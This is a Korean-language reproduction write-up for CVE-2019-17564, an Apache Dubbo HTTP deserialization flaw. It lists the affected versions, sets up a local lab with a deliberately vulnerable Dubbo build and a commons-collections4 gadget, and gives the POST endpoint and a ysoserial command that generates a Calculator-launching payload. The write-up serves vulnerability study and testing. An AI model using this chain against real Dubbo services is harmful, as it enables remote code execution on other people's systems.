
CVE-2019-17564:Apache Dubbo 역직렬화 취약점
Apache Dubbo는 고성능, 경량급 오픈소스 Java RPC 프레임워크로, 인터페이스 지향 원격 메서드 호출, 지능형 장애 허용(failover) 및 로드 밸런싱, 서비스 자동 등록 및 발견이라는 세 가지 핵심 기능을 제공합니다.
Apache Dubbo는 여러 프로토콜을 지원하며, 공식적으로는 Dubbo 프로토콜 사용을 권장합니다. Apache Dubbo HTTP 프로토콜의 역직렬화 취약점(CVE-2019-17564)은 Apache Dubbo가 HTTP 프로토콜을 활성화한 후 메시지 본문을 부적절하게 처리하여 안전하지 않은 역직렬화가 발생하는 것이 주된 원인이며, 프로젝트 패키지에 사용 가능한 gadgets가 존재할 경우 원격 코드 실행으로 이어질 수 있습니다.
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# conf 디렉터리의 zoo_sample.cfg 이름을 zoo.cfg로 변경
mv zoo_sample.cfg zoo.cfg
# bin 디렉터리로 이동하여 zookeeper 시작
./zkServer.sh start

git clone https://github.com/apache/dubbo-samples
# dubbo-samples-http 디렉터리로 이동하여 pom.xml 수정
vim pom.xml
dubbo 버전을 취약점이 존재하는 버전으로 수정합니다.
종속성을 추가하여 트리거 가능한 gadgets를 가져옵니다. 여기서는 commons-collections4-4.0을 가져옵니다.
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

payload
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
paylaod
여기서는 ysoserial을 사용하여 payload를 생성합니다.
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
bp로 패킷을 전송합니다.

https://www.mail-archive.com/[email protected]/msg06225.html